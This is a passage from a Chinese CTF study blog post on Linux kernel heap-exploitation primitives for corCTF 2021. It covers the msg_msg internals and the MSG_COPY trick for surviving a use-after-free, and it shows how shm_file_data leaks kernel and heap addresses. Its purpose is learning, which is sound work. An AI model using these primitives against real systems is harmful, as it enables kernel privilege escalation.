[ayoung@blog posts]$ cat ./msg_msg结构体.md

msg_msg结构体分析

[Last modified: 2023-09-01]

主要涉及2021 corCTF 中的两道kernel题目

file of salvation WP

wall of perdition WP

题目附件

Netfilter Hooks

netfilter is a framework for packet mangling, outside the normal Berkeley socket interface. It has four parts. Firstly, each protocol defines “hooks” (IPv4 defines 5) which are well-defined points in a packet’s traversal of that protocol stack. At each of these points, the protocol will call the netfilter framework with the packet and the hook number.

netfliter是一个数据处理的框架,在正常的套接字接口之外。它有四个部分。首先,每一个协议定义了钩子(IPv4定义了5个),这些钩子是数据包遍历该协议栈时定义好的点。在每一个点上,协议将根据数据包和hook number调用nerfilter框架

netfilter是一个工具,可以让我们使用回调来解析、更改或使用数据包

netfilter提供了一个叫netfilter hooks的东西,这是一种使用回调在内核中过滤数据包的方法。有5种不同的netfilter hooks:

A Packet Traversing the Netfilter System:
   --->[1]--->[ROUTE]--->[3]--->[4]--->
                 |            ^
                 |            |
                 |         [ROUTE]
                 v            |
                [2]          [5]
                 |            ^
                 |            |
                 v            |
  1. NF_INET_PER_ROUNTING — 当一个数据包到达机器的时候调用该hook
  2. NF_INET_LOCAL_IN — 当一个数据包被送往机器本身的时候调用该hook
  3. NF_INET_FORWARD — 当一个数据包被送往另一个接口时调用该hook
  4. NF_INET_POST_ROUTING — 当一个数据包在返回到线路和机器外部时,调用该hook
  5. NF_INET_LOCAL_OUT — 当一个数据包被本地创建并被发送出去时,调用该hook

img

Using Netfilter Hooks inside the kernel

要在内核种使用netfliter hooks,需要创建一个hook函数,并使用nf_register_hook(接收结构体nf_register_ops*)或nf_register_net_hook(接收结构体net*和结构体nf_hooks_ops)注册它。需要根据内核版本选择函数。

struct nf_hook_ops {
	/* User fills in from here down. */
	nf_hookfn		*hook;
	struct net_device	*dev;
	void			*priv;
	u_int8_t		pf;
	unsigned int		hooknum;
	/* Hooks are ordered in ascending priority. */
	int			priority;
};

Code example

该LKM丢弃除了53端口(DNS)之外的所有UDP数据包,接收任意TCP数据包,其他所有数据包都会被丢弃。

/*****************************************************
 * This code was compiled and tested on Ubuntu 18.04.1
 * with kernel version 4.15.0
 *****************************************************/

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

static struct nf_hook_ops *nfho = NULL;

static unsigned int hfunc(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
	struct iphdr *iph;
	struct udphdr *udph;
	if (!skb)
		return NF_ACCEPT;

	iph = ip_hdr(skb);
	if (iph->protocol == IPPROTO_UDP) {
		udph = udp_hdr(skb);
		if (ntohs(udph->dest) == 53) {
			return NF_ACCEPT;
		}
	}
	else if (iph->protocol == IPPROTO_TCP) {
		return NF_ACCEPT;
	}
	
	return NF_DROP;
}

static int __init LKM_init(void)
{
	nfho = (struct nf_hook_ops*)kcalloc(1, sizeof(struct nf_hook_ops), GFP_KERNEL);
	
	/* Initialize netfilter hook */
	nfho->hook 	= (nf_hookfn*)hfunc;		/* hook function */
	nfho->hooknum 	= NF_INET_PRE_ROUTING;		/* received packets */
	nfho->pf 	= PF_INET;			/* IPv4 */
	nfho->priority 	= NF_IP_PRI_FIRST;		/* max hook priority */
	
	nf_register_net_hook(&init_net, nfho);
}

static void __exit LKM_exit(void)
{
	nf_unregister_net_hook(&init_net, nfho);
	kfree(nfho);
}

module_init(LKM_init);
module_exit(LKM_exit);

补充 sk_buff

在Linux内核中,系统使用sk_buff数据结构对数据包进行存储和管理。在数据包接受过程中,该数据结构从网卡驱动收包开始,一直贯穿到内核网络协议栈的顶层,直到用户态程序从内核中获取数据。结构如下

img

sk_buff数据结构中包含诸多关于数据包存储,定位和管理的指针,数据包在网络协议栈各层次之间进行传输的过程中,内核通过操作指针的方式对数据包进行逐层解析,避免频繁的大数据段拷贝操作,从而提高数据包处理效率(但在某些特数据情况下仍然会采用数据包拷贝操作)。

内核IPC(Internet Process Connection)

msg_msg对象

内核提供了两个syscall来进行IPC通信, msgsnd() 和 msgrcv(),内核消息包含两个部分,消息头 msg_msg 结构和紧跟的消息数据。长度从kmalloc-64 到 kmalloc-4096

消息头 msg_msg 结构如下所示

/include/linux/msg.h

/* one msg_msg structure for each message */
struct msg_msg {
	struct list_head m_list;
	long m_type;
	size_t m_ts;		/* message text size */
	struct msg_msgseg *next;
	void *security;
	/* the actual message follows immediately */
};

segment msg_msgseg如下

struct msg_msgseg {
	struct msg_msgseg *next;
	/* the next part of the message follows immediately */
};

注意原生的只有一个next指针 实际下方还有对应的data区域

分配的时候 seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); 会加上剩下的数据的alen的长度,总的长度就是 sizeof(struct msg_msgseg) + alen

当一个消息过长时,其典型结构如:

msg_msg  ----next---->  msg_msgseg  ----next---->  msg_msgseg  ----next---->  msg_msgseg...

这个对象在上层主要对应的操作是msgsnd()msgrcv()

msgsnd

int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg);

 struct msgbuf {
               long mtype;       /* message type, must be > 0 */
               char mtext[1];    /* message data */
           };

mtext 字段是一个大小由msgsz(非负整数)指定的数组(或其他结构体)。零长度的消息(即没有mtext字段)是允许的。mtype字段必须为正整数,该值可由接收进程用于消息选择

msgsnd()数据发送

总体流程:当调用 msgsnd() 来发送消息时,调用 msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg() 来分配消息头和消息数据,然后调用 load_msg() -> copy_from_user() 来将用户数据拷贝进内核

想发送一个包含0x1fc8个A的消息,用户态首先调用msgget()创建消息队列,然后调用msgsnd()发送数据

[...]

struct msgbuf
{
    long mtype;
    char mtext[0x1fc8];
} msg;

msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));

qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);

[...]

创建消息

do_msgsnd() -> load_msg() -> alloc_msg() 总结,如果消息长度超过0xfd0,则分段存储,采用单链表连接,第1个称为消息头,用 msg_msg 结构存储;第2、3个称为segment,用 msg_msgseg 结构存储。消息的最大长度由 /proc/sys/kernel/msgmax 确定, 默认大小为 8192 字节,所以最多链接3个成员。

#define DATALEN_MSG	((size_t)PAGE_SIZE-sizeof(struct msg_msg)) // 0xfd0
#define DATALEN_SEG	((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))


static struct msg_msg *alloc_msg(size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg **pseg;
	size_t alen;

	// len是用户提供的数据size
	// len>=DATALEN_MSG,分配0x1000堆块,对应 kmalloc-4096
	alen = min(len, DATALEN_MSG);
	msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); 
	if (msg == NULL)
		return NULL;

	msg->next = NULL;
	msg->security = NULL;

	// 待分配的size,继续分配,用单链表存起来
	len -= alen;
	pseg = &msg->next;
	while (len > 0) {
		struct msg_msgseg *seg;

		cond_resched();

		alen = min(len, DATALEN_SEG);
		seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
		if (seg == NULL)
			goto out_err;
		// 单向链表,上链
		*pseg = seg;
		seg->next = NULL;
		pseg = &seg->next;
		len -= alen;
	}

	return msg;

out_err:
	free_msg(msg);
	return NULL;
}

拷贝消息

do_msgsnd() -> load_msg() -> copy_from_user() 将消息从用户空间拷贝到内核空间

struct msg_msg *load_msg(const void __user *src, size_t len)
{
	struct msg_msg *msg;
	struct msg_msgseg *seg;
	int err = -EFAULT;
	size_t alen;

	msg = alloc_msg(len);
	if (msg == NULL)
		return ERR_PTR(-ENOMEM);

	alen = min(len, DATALEN_MSG);
	// 此时的src就是用户态的mtext
	// 从用户态拷贝数据
    // +1就是+指针指向东西的数据类型大小,即跳过消息头
	if (copy_from_user(msg + 1, src, alen))
		goto out_err;

	for (seg = msg->next; seg != NULL; seg = seg->next) {
		len -= alen;
		src = (char __user *)src + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_from_user(seg + 1, src, alen))
			goto out_err;
	}

	err = security_msg_msg_alloc(msg);
	if (err)
		goto out_err;

	return msg;

out_err:
	free_msg(msg);
	return ERR_PTR(err);
}

内核消息结构

msgrcv

ssize_t msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp,int msgflg);

这两个syscall主要用于发送messgae到系统的消息队列,然后从消息队列接收message。调用他的进程必须对消息队列有写权限才能发送消息,有读权限才能接收消息。

msgrcv()数据接收

总体流程:msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()。调用find_msg()来定位正确的消息,将消息从队列中unlink,再调用 do_msg_fill() -> store_msg() 来将内核数据拷贝到用户空间,最后调用 free_msg() 释放消息

SYSCALL_DEFINE5(msgrcv, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
		long, msgtyp, int, msgflg)
{
	return ksys_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
}
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
		 long msgtyp, int msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
	// msg_handler参数实际指向do_msg_fill()参数
	int mode;
	struct msg_queue *msq;
	struct ipc_namespace *ns;
	struct msg_msg *msg, *copy = NULL;
	DEFINE_WAKE_Q(wake_q);

	ns = current->nsproxy->ipc_ns;

	if (msqid < 0 || (long) bufsz < 0)
		return -EINVAL;
	// 若设置了MSG_COPY位
	// 调用prepare_copy预先分配
   	if (msgflg & MSG_COPY) {
		if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
			return -EINVAL;
         // prepare_copy事实上会申请bufsz大小内存,将buf内容拷贝进去
		copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
		if (IS_ERR(copy))
			return PTR_ERR(copy);
	}
	mode = convert_mode(&msgtyp, msgflg);

	rcu_read_lock();
	msq = msq_obtain_object_check(ns, msqid);
	if (IS_ERR(msq)) {
		rcu_read_unlock();
		free_copy(copy);
		return PTR_ERR(msq);
	}

	for (;;) {
		struct msg_receiver msr_d;

		msg = ERR_PTR(-EACCES);
		if (ipcperms(ns, &msq->q_perm, S_IRUGO))
			goto out_unlock1;

		ipc_lock_object(&msq->q_perm);

		/* raced with RMID? */
		if (!ipc_valid_object(&msq->q_perm)) {
			msg = ERR_PTR(-EIDRM);
			goto out_unlock0;
		}
		// 调用find_msg()定位正确的消息
		msg = find_msg(msq, &msgtyp, mode);
		if (!IS_ERR(msg)) {
			/*
			 * Found a suitable message.
			 * Unlink it from the queue.
			 */
			if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
				msg = ERR_PTR(-E2BIG);
				goto out_unlock0;
			}
			/*
			 * If we are copying, then do not unlink message and do
			 * not update queue parameters.
			 */
			// 如果设置MSG_COPY,跳出循环,避免unlink
			if (msgflg & MSG_COPY) {
				msg = copy_msg(msg, copy);
				goto out_unlock0;
			}
			// 将消息unlink
			list_del(&msg->m_list);
			msq->q_qnum--;
			msq->q_rtime = ktime_get_real_seconds();
			ipc_update_pid(&msq->q_lrpid, task_tgid(current));
			msq->q_cbytes -= msg->m_ts;
			atomic_sub(msg->m_ts, &ns->msg_bytes);
			atomic_dec(&ns->msg_hdrs);
			ss_wakeup(msq, &wake_q, false);

			goto out_unlock0;
		}

		/* No message waiting. Wait for a message */
		if (msgflg & IPC_NOWAIT) {
			msg = ERR_PTR(-ENOMSG);
			goto out_unlock0;
		}

		list_add_tail(&msr_d.r_list, &msq->q_receivers);
		msr_d.r_tsk = current;
		msr_d.r_msgtype = msgtyp;
		msr_d.r_mode = mode;
		if (msgflg & MSG_NOERROR)
			msr_d.r_maxsize = INT_MAX;
		else
			msr_d.r_maxsize = bufsz;

		/* memory barrier not require due to ipc_lock_object() */
		WRITE_ONCE(msr_d.r_msg, ERR_PTR(-EAGAIN));

		/* memory barrier not required, we own ipc_lock_object() */
		__set_current_state(TASK_INTERRUPTIBLE);

		ipc_unlock_object(&msq->q_perm);
		rcu_read_unlock();
		schedule();

		/*
		 * Lockless receive, part 1:
		 * We don't hold a reference to the queue and getting a
		 * reference would defeat the idea of a lockless operation,
		 * thus the code relies on rcu to guarantee the existence of
		 * msq:
		 * Prior to destruction, expunge_all(-EIRDM) changes r_msg.
		 * Thus if r_msg is -EAGAIN, then the queue not yet destroyed.
		 */
		rcu_read_lock();

		/*
		 * Lockless receive, part 2:
		 * The work in pipelined_send() and expunge_all():
		 * - Set pointer to message
		 * - Queue the receiver task for later wakeup
		 * - Wake up the process after the lock is dropped.
		 *
		 * Should the process wake up before this wakeup (due to a
		 * signal) it will either see the message and continue ...
		 */
		msg = READ_ONCE(msr_d.r_msg);
		if (msg != ERR_PTR(-EAGAIN)) {
			/* see MSG_BARRIER for purpose/pairing */
			smp_acquire__after_ctrl_dep();

			goto out_unlock1;
		}

		 /*
		  * ... or see -EAGAIN, acquire the lock to check the message
		  * again.
		  */
		ipc_lock_object(&msq->q_perm);

		msg = READ_ONCE(msr_d.r_msg);
		if (msg != ERR_PTR(-EAGAIN))
			goto out_unlock0;

		list_del(&msr_d.r_list);
		if (signal_pending(current)) {
			msg = ERR_PTR(-ERESTARTNOHAND);
			goto out_unlock0;
		}

		ipc_unlock_object(&msq->q_perm);
	}

out_unlock0:
	ipc_unlock_object(&msq->q_perm);
	wake_up_q(&wake_q);
out_unlock1:
	rcu_read_unlock();
	if (IS_ERR(msg)) {
		free_copy(copy);
		return PTR_ERR(msg);
	}

	// 调用do_msg_fill(),把消息从内核拷贝到用户
	bufsz = msg_handler(buf, msg, bufsz);
	// 拷贝完成后,释放消息
	free_msg(msg);

	return bufsz;
}

消息拷贝

do_msg_fill() -> store_msg() 和创建消息的过程一样,先拷贝消息头(msg_msg结构对应的数据),再拷贝segment(msg_msgseg结构对应的数据)

static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
	struct msgbuf __user *msgp = dest;
	size_t msgsz;

	if (put_user(msg->m_type, &msgp->mtype))
		return -EFAULT;
	
	// 检查请求的数据长度是否大于msg->m_ts
	// 超过则只能获取msg->m_ts长度的数据(避免越界读)
	msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz;
	// 调用store_msg()将msgsz大小拷贝到用户空间
	if (store_msg(msgp->mtext, msg, msgsz))
		return -EFAULT;
	return msgsz;
}
int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
	size_t alen;
	struct msg_msgseg *seg;

	// 获取第一部分长度
	alen = min(len, DATALEN_MSG);
	// 拷贝消息,跳过消息头
	if (copy_to_user(dest, msg + 1, alen))
		return -1;
	// 如果有msg_msgseg,则紧跟着dest+alen放置
	for (seg = msg->next; seg != NULL; seg = seg->next) {
		len -= alen;
		dest = (char __user *)dest + alen;
		alen = min(len, DATALEN_SEG);
		if (copy_to_user(dest, seg + 1, alen))
			return -1;
	}
	return 0;
}

消息释放

先释放消息头,再释放segment

void free_msg(struct msg_msg *msg)
{
	struct msg_msgseg *seg;

	security_msg_msg_free(msg);

	seg = msg->next;
	// 释放消息头
	kfree(msg);
	while (seg != NULL) {
		struct msg_msgseg *tmp = seg->next;

		cond_resched();
		// 遍历释放segment
		kfree(seg);
		seg = tmp;
	}
}

MSG_COPYdo_msgrcv() 中17行处,如果用flag MSG_COPY来调用 msgrcv() (内核编译时需配置CONFIG_CHECKPOINT_RESTORE选项,默认已配置),就会调用 prepare_copy() 分配临时消息,并调用 copy_msg() 将请求的数据拷贝到该临时消息(见 do_msgrcv() 中20行处)。在将消息拷贝到用户空间之后,原始消息会被保留,不会从队列中unlink,然后调用free_msg()删除该临时消息,这对于利用很重要。

为什么?因为在第一次UAF的时候,没有泄露正确地址,所以会破坏msg_msg->m_list双链表指针,unlink会触发崩溃。本题的UAF会破坏前16字节,如果某漏洞可以跳过前16字节,是否不需要注意这一点?

(补充MSG_COPY细节,首先执行copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));,其中nv->msg_ctlmax=0x2000,该函数会调用load_msg(buf, bufsz)申请相应大小的msg内存,并将buf内容拷贝进去(比如第二题exp中实际上会将堆空间0x2000字节拷贝进申请的copy msg中),返回的copy即新申请的msg指针;接着执行msg = copy_msg(msg, copy);,该函数将msg的所有data复制给copy,然后返回copy,并赋值给msg,也就是说之后msg就变成了刚才的copy_msg,实际上相当于根据传入的buf和size动态拷贝了一份并替代原msg,再之后就是do_msg_fillfree_msg

void *memdump = malloc(0x1fc8);
msgrcv(qid, memdump, 0x1fc8, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);

shm_file_data

进程间通信方式,共享内存

ipc/shm.c

kmalloc-32

ns、vm_ops可以泄露内核基址 file可以泄露堆区域

struct shm_file_data {
	int id;
	struct ipc_namespace *ns;
	struct file *file;
	const struct vm_operations_struct *vm_ops;
};

通过 shmget 系统调用创建共享内存之后通过 shmat 系统调用获得该结构体 通过 shmdt 释放该结构体

shmget

原型:int shmget(key_t key, size_t size, int shmflg);

第一个参数,与信号量的semget函数一样,程序需要提供一个参数key(非0整数),它有效地为共享内存段命名,shmget()函数成功时返回一个与key相关的共享内存标识符(非负整数),用于后续的共享内存函数。调用失败返回-1.

不相关的进程可以通过该函数的返回值访问同一共享内存,它代表程序可能要使用的某个资源,程序对所有共享内存的访问都是间接的,程序先通过调用shmget()函数并提供一个键,再由系统生成一个相应的共享内存标识符(shmget()函数的返回值),只有shmget()函数才直接使用信号量键,所有其他的信号量函数使用由semget函数返回的信号量标识符。

第二个参数,size以字节为单位指定需要共享的内存容量

第三个参数,shmflg是权限标志,它的作用与open函数的mode参数一样,如果要想在key标识的共享内存不存在时,创建它的话,可以与IPC_CREAT做或操作。共享内存的权限标志与文件的读写权限一样,举例来说,0644,它表示允许一个进程创建的共享内存被内存创建者所拥有的进程向共享内存读取和写入数据,同时其他用户创建的进程只能读取共享内存。

创建共享内存,实际上是得到一个共享内存标识符或创建一个共享内存对象并返回共享内存标识符

shmflagIPC_PRIVATE时,调用链

ksys_shmget()->ipcget()->ipcget_new()->newseg()

其中ipcget_new如下,调用函数指针newseg

ipc/util.c

/**
 * ipcget_new -	create a new ipc object
 * @ns: ipc namespace
 * @ids: ipc identifier set
 * @ops: the actual creation routine to call
 * @params: its parameters
 *
 * This routine is called by sys_msgget, sys_semget() and sys_shmget()
 * when the key is IPC_PRIVATE.
 */
static int ipcget_new(struct ipc_namespace *ns, struct ipc_ids *ids,
		const struct ipc_ops *ops, struct ipc_params *params)
{
	int err;

	down_write(&ids->rwsem);
	err = ops->getnew(ns, params);
	up_write(&ids->rwsem);
	return err;
}

kvmalloc,大于一个page的时候,会先用kmalloc()进行__GFP_NORETRY的尝试,如果尝试失败就fallback到vmalloc(NORETRY标记避免了kmalloc在申请内存失败地情况下,反复尝试甚至做OOM来获得内存)

当然,kvmalloc()的size如果小于1个page,则沿用老的kmalloc()逻辑,而且也不会设置__GFP_NORETRY,如果反复尝试失败的话,也不会fallback到vmalloc(),因为vmalloc()申请小于1个page的内存是不合适的

ipc/shm.c

/**
 * newseg - Create a new shared memory segment
 * @ns: namespace
 * @params: ptr to the structure that contains key, size and shmflg
 *
 * Called with shm_ids.rwsem held as a writer.
 */
static int newseg(struct ipc_namespace *ns, struct ipc_params *params)
{
	[...]
	struct shmid_kernel *shp;
	[...]
	shp = kvmalloc(sizeof(*shp), GFP_KERNEL);
	if (unlikely(!shp))
		return -ENOMEM;

	shp->shm_perm.key = key;
	shp->shm_perm.mode = (shmflg & S_IRWXUGO);
	shp->mlock_user = NULL;

	shp->shm_perm.security = NULL;
	[...]

	shp->shm_cprid = get_pid(task_tgid(current));
	shp->shm_lprid = NULL;
	shp->shm_atim = shp->shm_dtim = 0;
	shp->shm_ctim = ktime_get_real_seconds();
	shp->shm_segsz = size;
	shp->shm_nattch = 0;
	shp->shm_file = file;
	shp->shm_creator = current;

	[...]
}

shmat

at - attach

第一次创建完共享内存时,它还不能被任何进程访问,shmat()函数的作用就是用来启动对该共享内存的访问,并把共享内存连接到当前进程的地址空间。它的原型如下:

void *shmat(int shm_id, const void *shm_addr, int shmflg);

第一个参数,shm_id是由shmget()函数返回的共享内存标识。

第二个参数,shm_addr指定共享内存连接到当前进程中的地址位置,通常为空,表示让系统来选择共享内存的地址。

第三个参数,shm_flg是一组标志位,通常为0。

调用成功时返回一个指向共享内存第一个字节的指针,如果调用失败返回-1.

ipc/shm.c

/*
 * Fix shmaddr, allocate descriptor, map shm, add attach descriptor to lists.
 *
 * NOTE! Despite the name, this is NOT a direct system call entrypoint. The
 * "raddr" thing points to kernel space, and there has to be a wrapper around
 * this.
 */
long do_shmat(int shmid, char __user *shmaddr, int shmflg,
	      ulong *raddr, unsigned long shmlba)
{
	struct shmid_kernel *shp;
	[...]
	sfd = kzalloc(sizeof(*sfd), GFP_KERNEL);
	[...]

	sfd->id = shp->shm_perm.id;
	sfd->ns = get_ipc_ns(ns);
	sfd->file = base;
	sfd->vm_ops = NULL;
	file->private_data = sfd;

	[...]
}

shmdt

dt - detach

该函数用于将共享内存从当前进程中分离。注意,将共享内存分离并不是删除它,只是使该共享内存对当前进程不再可用。它的原型如下:

int shmdt(const void *shmaddr);

shmctl

ctl - control

用来控制共享内存

原型:int shmctl(int shm_id, int command, struct shmid_ds *buf);

第一个参数,shm_id是shmget()函数返回的共享内存标识符。

第二个参数,command是要采取的操作,它可以取下面的三个值 (其实不止,详见下面源码):

IPC_STAT:把shmid_ds结构中的数据设置为共享内存的当前关联值,即用共享内存的当前关联值覆盖shmid_ds的值。 IPC_SET:如果进程有足够的权限,就把共享内存的当前关联值设置为shmid_ds结构中给出的值 IPC_RMID:删除共享内存段

第三个参数,buf是一个结构指针,它指向共享内存模式和访问权限的结构。

shmid_ds结构 至少包括以下成员:

struct shmid_ds
{
    uid_t shm_perm.uid;
    uid_t shm_perm.gid;
    mode_t shm_perm.mode;
};

ipc/shm.c

static long ksys_shmctl(int shmid, int cmd, struct shmid_ds __user *buf, int version)
{
	int err;
	struct ipc_namespace *ns;
	struct shmid64_ds sem64;

	if (cmd < 0 || shmid < 0)
		return -EINVAL;

	ns = current->nsproxy->ipc_ns;

	switch (cmd) {
	case IPC_INFO: {
		struct shminfo64 shminfo;
		err = shmctl_ipc_info(ns, &shminfo);
		if (err < 0)
			return err;
		if (copy_shminfo_to_user(buf, &shminfo, version))
			err = -EFAULT;
		return err;
	}
	case SHM_INFO: {
		struct shm_info shm_info;
		err = shmctl_shm_info(ns, &shm_info);
		if (err < 0)
			return err;
		if (copy_to_user(buf, &shm_info, sizeof(shm_info)))
			err = -EFAULT;
		return err;
	}
	case SHM_STAT:
	case SHM_STAT_ANY:
	case IPC_STAT: {
		err = shmctl_stat(ns, shmid, cmd, &sem64);
		if (err < 0)
			return err;
		if (copy_shmid_to_user(buf, &sem64, version))
			err = -EFAULT;
		return err;
	}
	case IPC_SET:
		if (copy_shmid_from_user(&sem64, buf, version))
			return -EFAULT;
		/* fallthru */
	case IPC_RMID:
		return shmctl_down(ns, shmid, cmd, &sem64);
	case SHM_LOCK:
	case SHM_UNLOCK:
		return shmctl_do_lock(ns, shmid, cmd);
	default:
		return -EINVAL;
	}
}

示例

shmread.c创建共享内存,并读取其中的信息,另一个文件shmwrite.c向共享内存中写入数据。为了方便操作和数据结构的统一,为这两个文件定义了相同的数据结构,定义在文件shmdata.c中。结构shared_use_st中的written作为一个可读或可写的标志,非0:表示可读,0:表示可写,text则是内存中的文件。

shmdata.h

#ifndef _SHMDATA_H_HEADER
#define _SHMDATA_H_HEADER
 
#define TEXT_SZ 2048
 
struct shared_use_st
{
    int written; // 作为一个标志,非0:表示可读,0:表示可写
    char text[TEXT_SZ]; // 记录写入 和 读取 的文本
};
 
#endif

shmread.c

#include <stddef.h>
#include <sys/shm.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include "shmdata.h"
 
int main(int argc, char **argv)
{
    void *shm = NULL;
    struct shared_use_st *shared; // 指向shm
    int shmid; // 共享内存标识符
 
    // 创建共享内存
    shmid = shmget((key_t)1234, sizeof(struct shared_use_st), 0666|IPC_CREAT);
    if (shmid == -1)
    {
        fprintf(stderr, "shmat failed\n");
        exit(EXIT_FAILURE);
    }
 
    // 将共享内存连接到当前进程的地址空间
    shm = shmat(shmid, 0, 0);
    if (shm == (void *)-1)
    {
        fprintf(stderr, "shmat failed\n");
        exit(EXIT_FAILURE);
    }
 
    printf("\nMemory attached at %X\n", (int)shm);
 
    // 设置共享内存
    shared = (struct shared_use_st*)shm; // 注意:shm有点类似通过 malloc() 获取到的内存,所以这里需要做个 类型强制转换
    shared->written = 0;
    while (1) // 读取共享内存中的数据
    {
        // 没有进程向内存写数据,有数据可读取
        if (shared->written == 1)
        {
            printf("You wrote: %s", shared->text);
            sleep(1);
 
            // 读取完数据,设置written使共享内存段可写
            shared->written = 0;
 
            // 输入了 end,退出循环(程序)
            if (strncmp(shared->text, "end", 3) == 0)
            {
                break;
            }
        }
        else // 有其他进程在写数据,不能读取数据
        {
            sleep(1);
        }
    }
 
    // 把共享内存从当前进程中分离
    if (shmdt(shm) == -1)
    {
        fprintf(stderr, "shmdt failed\n");
        exit(EXIT_FAILURE);
    }
 
    // 删除共享内存
    if (shmctl(shmid, IPC_RMID, 0) == -1)
    {
        fprintf(stderr, "shmctl(IPC_RMID) failed\n");
        exit(EXIT_FAILURE);
    }
 
    exit(EXIT_SUCCESS);
}

shmwrite.c

#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/shm.h>
#include "shmdata.h"
 
int main(int argc, char **argv)
{
    void *shm = NULL;
    struct shared_use_st *shared = NULL;
    char buffer[BUFSIZ + 1]; // 用于保存输入的文本
    int shmid;
 
    // 创建共享内存
    shmid = shmget((key_t)1234, sizeof(struct shared_use_st), 0666|IPC_CREAT);
    if (shmid == -1)
    {
        fprintf(stderr, "shmget failed\n");
        exit(EXIT_FAILURE);
    }
 
    // 将共享内存连接到当前的进程地址空间
    shm = shmat(shmid, (void *)0, 0);
    if (shm == (void *)-1)
    {
        fprintf(stderr, "shmat failed\n");
        exit(EXIT_FAILURE);
    }
 
    printf("Memory attched at %X\n", (int)shm);
 
    // 设置共享内存
    shared = (struct shared_use_st *)shm;
    while (1) // 向共享内存中写数据
    {
        // 数据还没有被读取,则等待数据被读取,不能向共享内存中写入文本
        while (shared->written == 1)
        {
            sleep(1);
            printf("Waiting...\n");
        }
 
        // 向共享内存中写入数据
        printf("Enter some text: ");
        fgets(buffer, BUFSIZ, stdin);
        strncpy(shared->text, buffer, TEXT_SZ);
 
        // 写完数据,设置written使共享内存段可读
        shared->written = 1;
 
        // 输入了end,退出循环(程序)
        if (strncmp(buffer, "end", 3) == 0)
        {
            break;
        }
    }
 
    // 把共享内存从当前进程中分离
    if (shmdt(shm) == -1)
    {
        fprintf(stderr, "shmdt failed\n");
        exit(EXIT_FAILURE);
    }
 
    sleep(2);
    exit(EXIT_SUCCESS);
}

安全性

上面程序不安全,因为对written判断然后决定是否写入的操作不是原子操作,需要进程同步机制,保证进入临界区的操作是原子操作

init_task

init_task的定义是 struct task_struct init_task = INIT_TASK(init_task) 是系统创建的第一个进程,称为0号进程

下面节选了部分定义,采用了gcc的结构体初始化方式为其进行直接赋值生成

/init/init_task.c

/*
 * Set up the first task table, touch at your own risk!. Base=0,
 * limit=0x1fffff (=2MB)
 */
struct task_struct init_task
#ifdef CONFIG_ARCH_TASK_STRUCT_ON_STACK
    __init_task_data
#endif
= {
    ......
	.__state	= 0,
	.stack		= init_stack,
	.usage		= REFCOUNT_INIT(2),
	.flags		= PF_KTHREAD,
	.prio		= MAX_PRIO - 20,
	.static_prio	= MAX_PRIO - 20,
	.normal_prio	= MAX_PRIO - 20,
	.policy		= SCHED_NORMAL,
	.cpus_ptr	= &init_task.cpus_mask,
	.user_cpus_ptr	= NULL,
	.cpus_mask	= CPU_MASK_ALL,
	.nr_cpus_allowed= NR_CPUS,
	.mm		= NULL,
	.active_mm	= &init_mm,
	.restart_block	= {
		.fn = do_no_restart_syscall,
	},
	.se		= {
		.group_node 	= LIST_HEAD_INIT(init_task.se.group_node),
	},
	.rt		= {
		.run_list	= LIST_HEAD_INIT(init_task.rt.run_list),
		.time_slice	= RR_TIMESLICE,
	},
	.tasks		= LIST_HEAD_INIT(init_task.tasks),
};
EXPORT_SYMBOL(init_task);

结构体task_struct中有三个成员很重要

userfaultfd

https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/userfaultfd/

fire-of-salvation

Elastic objects in kernel have more power than you think. A kernel config file is provided as well, but some of the important options include:

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y

SMEP, SMAP, and KPTI are of course on. Note that this is an easier variation of the Wall of Perdition challenge.

hint: Using the correct elastic object you can achieve powerful primitives such as arb read and arb write. While arb read for this object has been documented, arb write has not to the extent of our knowledge (it is not a 0 day tho so don't worry).

开启了很多保护和额外加固,注意:

题目源码在出题人的博客中已经给出,下面直接根据源码进行分析

题目本身实现了一个内核态的防火墙驱动,定义了针对ipv4数据包的出入站规则

user_rule_t && rule_t

定义了两个结构体,描述过滤规则

typedef struct
{
    char iface[16];
    char name[16];
    char ip[16];
    char netmask[16];
    uint8_t idx;
    uint8_t type;
